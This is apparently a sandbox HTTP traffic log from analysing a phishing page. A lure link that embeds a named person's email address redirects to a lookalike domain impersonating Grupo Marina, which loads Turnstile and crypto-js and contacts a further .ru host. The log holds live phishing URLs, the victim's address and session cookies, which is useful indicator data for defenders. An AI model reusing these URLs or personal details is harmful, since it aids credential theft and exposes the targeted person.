Source: global traffic	HTTP traffic detected: GET /8aF18c0N2CFbzCTcnC9dgBRsTPqgJHosieM4AfhPW0xfPX2eeciO211xYhM0xGUkwGUOoh4IvF3ZPcaD4TPZKiK82JYCYMTzbWRx33HFHsB2HZJgoelAJ9OHcyXYhSv2b4snjE0bGGsx1RQwtLZsb89T05LuiQaXEc9KIeYyXY9i9AkWnvTxHNq2RnYeMDlmw1AoOs54/YIwMRE5gwuQ2zFZXpZePC1d6JvR8UnaSyC28RNwjYQ2x6AJ3tVFbOjnL3Jjrq5OAPeOVsVhG8rpbVvDMM431NF6drmD5nCYhmRLNPBV491yoAqHcTFohgjfRtlhA8j39Ntt588ilQZr1SKngEgmbxe7oHVZMB0huT9so8f8UZb40zdENVSZ0SvQCOMzkctlE1yCXhk2Y/ssalazar@grupomarina.cl HTTP/1.1Host: xfeoii3kbm.woofradio.cfdConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pax6lf1/ HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://xfeoii3kbm.woofradio.cfd/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?onload=onloadTurnstileCallback HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.png HTTP/1.1Host: developers.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=QLIcY8zuRXkneduiM6OiCyNJFAdVng3DHFdLxD_QGD4-1742244904-1.0.1.1-CmjGgIbP4agpLv8m1vdI5en4sDXTII5DRrhGYBzfcy2viX4bO7YAMn5BeXAR8QFG_nTY7oy2NAljL2pUq6hYeVL21uR3v5wrsGyysyAqPP4
Source: global traffic	HTTP traffic detected: GET /tarboz@gicb27 HTTP/1.1Host: xoq7.qakaco.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Origin: https://grupomarina.brightnexst.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://grupomarina.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /tarboz@gicb27 HTTP/1.1Host: xoq7.qakaco.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pax6lf1/ HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://grupomarina.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlF2blkwdUpsTEdtemg1TEJsQ0RZY1E9PSIsInZhbHVlIjoiQzBmbnBLRVN2LzlKdGs0aEFOYmJYRDEwUUZvOElVWUZYT2FQYTBZWm1NWlNEY0V6L2JMdWQ0OWhjT0dZZG9EcGdYaS9NZ3R6QWNoOUVDcW5JVXVrZGVOSVBZYXRGemxMc2JENGd3dytBRE5rSzdKY1RaY2xta2VWMjRFTGduakciLCJtYWMiOiIyZWZiODJiNjQ5YjIxZDU4ZGVkMmU1MzA4OWQzODllOWQzZTYwZmU3MzMyMGZhNjUxN2IzOGVmMjBlMmIxNDkyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpQR3kxT1U3eTRvL3VJRVdIV0pOWlE9PSIsInZhbHVlIjoiWGRFMzBHUStkdDV3c1BGWU5rd3l5STdDNjZpQnBpbTBBbjRrRFNXUmxDb1d6S3FmeitYY1VObzRIb3Z3THE1THhUYXk3OTNpbk83MkoyY2I1YWdaVmhTa0RxQW9ZaGlrTGowVlN5bVR2YXl2ZXBPaG5LeWZ4UGxqNEV6VTkxVFMiLCJtYWMiOiIxYzAzZmM2MDlmNjMwY2ExZWMwNmFjZTY2Yzk2Njk1MTA2YTI5OTQyNjkyZTkyM2E5YWU0MGEwZDk0N2UwNTI5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /nm6KwyhgTPlcdaTFM6w4Te3A1nGYYINg9w5 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlF2blkwdUpsTEdtemg1TEJsQ0RZY1E9PSIsInZhbHVlIjoiQzBmbnBLRVN2LzlKdGs0aEFOYmJYRDEwUUZvOElVWUZYT2FQYTBZWm1NWlNEY0V6L2JMdWQ0OWhjT0dZZG9EcGdYaS9NZ3R6QWNoOUVDcW5JVXVrZGVOSVBZYXRGemxMc2JENGd3dytBRE5rSzdKY1RaY2xta2VWMjRFTGduakciLCJtYWMiOiIyZWZiODJiNjQ5YjIxZDU4ZGVkMmU1MzA4OWQzODllOWQzZTYwZmU3MzMyMGZhNjUxN2IzOGVmMjBlMmIxNDkyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InpQR3kxT1U3eTRvL3VJRVdIV0pOWlE9PSIsInZhbHVlIjoiWGRFMzBHUStkdDV3c1BGWU5rd3l5STdDNjZpQnBpbTBBbjRrRFNXUmxDb1d6S3FmeitYY1VObzRIb3Z3THE1THhUYXk3OTNpbk83MkoyY2I1YWdaVmhTa0RxQW9ZaGlrTGowVlN5bVR2YXl2ZXBPaG5LeWZ4UGxqNEV6VTkxVFMiLCJtYWMiOiIxYzAzZmM2MDlmNjMwY2ExZWMwNmFjZTY2Yzk2Njk1MTA2YTI5OTQyNjkyZTkyM2E5YWU0MGEwZDk0N2UwNTI5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPW HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://grupomarina.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InV6ajB3QzJmbWdEdW80c250Z2ZEd3c9PSIsInZhbHVlIjoiN2V0VFRjc245T3RsSTd2cDVjVUc3RGZudkpxdkdjcVFMTHJmOFJ0ZmdBYlFxRjY2S3NVMS9zcWVvTTZUSGtabHNsVGN4eGMzRU1JZDN2VWFtZjRYQU5hU3UvMW90SUp2S3oyQWUyekhvc3dTSGVsOU9JN3VsUVBrTDRDZjJ5MmgiLCJtYWMiOiJhNTBiZmRiYjYyOGM3YzYxOGZiZGFlZjBlZmU2NzJlOTkzMjhlMmExZGJmYzNlNzE5YWY0NTRhMWI3MmI0ZjczIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImgxMUpTYkJzeVZQWkVTZGhxalhEY3c9PSIsInZhbHVlIjoiY3BnOFVteUpMbHBmVFdRYTM3UEQ2L0huUkNVUTBLQitPbW05bTQvTzhCL3VrMlpYRDA0Mi9OM0hPOFVOaEFhQ25BWVNlVVJvVm93MlEwaXd3TlFVRFBTODB4N0Z4bkNMUVVObzZiVUJYdkVVNHdORnVxTkVmRWNlMUdhYU54dFUiLCJtYWMiOiIyZGU3MDU3ZWExNjZkYWU3YTZjODkwM2FkMjY3MjRiYTk0MzA3MjY2ZjEwZjE3MTI0NGE2MjMxY2QzZDgyNTFkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rqNX84y2LLLeotfXXhDH1k2LmulOVtkFLk3LFLhRu0ew HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InV6ajB3QzJmbWdEdW80c250Z2ZEd3c9PSIsInZhbHVlIjoiN2V0VFRjc245T3RsSTd2cDVjVUc3RGZudkpxdkdjcVFMTHJmOFJ0ZmdBYlFxRjY2S3NVMS9zcWVvTTZUSGtabHNsVGN4eGMzRU1JZDN2VWFtZjRYQU5hU3UvMW90SUp2S3oyQWUyekhvc3dTSGVsOU9JN3VsUVBrTDRDZjJ5MmgiLCJtYWMiOiJhNTBiZmRiYjYyOGM3YzYxOGZiZGFlZjBlZmU2NzJlOTkzMjhlMmExZGJmYzNlNzE5YWY0NTRhMWI3MmI0ZjczIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImgxMUpTYkJzeVZQWkVTZGhxalhEY3c9PSIsInZhbHVlIjoiY3BnOFVteUpMbHBmVFdRYTM3UEQ2L0huUkNVUTBLQitPbW05bTQvTzhCL3VrMlpYRDA0Mi9OM0hPOFVOaEFhQ25BWVNlVVJvVm93MlEwaXd3TlFVRFBTODB4N0Z4bkNMUVVObzZiVUJYdkVVNHdORnVxTkVmRWNlMUdhYU54dFUiLCJtYWMiOiIyZGU3MDU3ZWExNjZkYWU3YTZjODkwM2FkMjY3MjRiYTk0MzA3MjY2ZjEwZjE3MTI0NGE2MjMxY2QzZDgyNTFkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://grupomarina.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImY2L3FleFlvRmx1ZmVHMmY1NXRETWc9PSIsInZhbHVlIjoiV01HdnVjLzhnNTZiaWhvYVhqcDdNNUlJejdoVXl3K0pWQlo3TVZxWXkwQjFtTk9xV0FTOXk5YkZFb1p5a1NnR2hsNFo0bXhSVkFIbmFwOTFPSHFaNk5DUVJWc25ERmdBRUVXc05SSGdNYzR1TSsvMGZSWnpMV21vZ1o2OUxQMW8iLCJtYWMiOiI0NjE5YTYwNzJiY2M4NWQyZTNiZTMwOGY4MWE2YTA3NDVjMDM5MGY3ZDE4NjI3YzA3MzhkZDM2Njc4OTM1Nzc5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InBhWmtrUUJVNmJoNlQ5ZHA2MTU0Wnc9PSIsInZhbHVlIjoiZWhGaENsY05ybkRuWGx1YUlDdlR3TTZGNndSUGtFNlZBQ0l2OFd0VTg2a1hDU1ppdHR3b29SNDg1cUhMRzZWYzE3b1NWZ2RESnFFdDA1N2VjQUdnZi9YZHYxcUJxT2s5SkY3TmFIc0w4aXJZZVA2eXdFZWxQZ2MzaURkTWkzSEEiLCJtYWMiOiI0OWY1OWQ3OTVmMjY4MWI1M2FiYTU1ZjU4N2IzN2M4ZjZiYzJiMGI0NzNiY2Q1NTAzNGM4NWZiNzRmNGQwMzA5IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56ACCeVmLlcdPPXc8920 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xyy6BRvgDOSBkrsxogh30 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveOrigin: https://grupomarina.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveOrigin: https://grupomarina.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5IMCthcU5iZ2I3SExSdzJoNFJUU3c9PSIsInZhbHVlIjoiN2VqZmVNQm9zbDhJenZIanphOEltNzEvaW9VcytsMXEyQmFLWnpzV0hUeU1ZM0MwMUFScFJlZXRveXp0TzdtdGJKK3Rrc2J1S2xWWWJxT3poUVpwTjVtMDhQbjU4WFRJZG9vRWpUQ3EyUjFwZU0ybFI5YUZwMmk5Y05oVHRyTWgiLCJtYWMiOiI3YjMzMmQ3ZmRkOWE4ZjE2N2EyZTcxMDRiMjRkNTAwNzMxNDcwNDMwYTIwZmViZmY0NjU2OGM0Zjc3ZmZhOGQxIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: grupomarina.brightnexst.ruConnection: keep-aliveOrigin: https://grupomarina.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://grupomarina.brightnexst.ru/AMCNUFNXZDUICPHJPN1DKQYE79CZQHUFVI5DL1S6E2BHE?VPBVFBFRDRWKLIZWKSEPXXPWAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjI4b0N4cTAvWllwVzAxWEVkaEpCQnc9PSIsInZhbHVlIjoiUDJGTmVSazA1d1Y2U2NOZzJZZlNDSkZtSTNjRUZmQiszc0FzdHpkUXE4Z2RrK3RjN0FnOUhGa0tKVlllM0ZXYytmaC8zajFZeFlsMUFSSXFuaElPQ3psTWVUcDc5QVlxMUdhanpqRW9KT1Uwa1dBUUFXcHFsYjZnaWVLU3JnK1kiLCJtYWMiOiJiZjViMTUxNTdmN2U1N2QwNDgwZmIxMWFmZGM3N2Q1MjU3M2ExYzZmY2ZkN2JmNGM0YzU0MTZiNDM0MTVmZWQ0IiwidGFnIjoiIn0%3D; 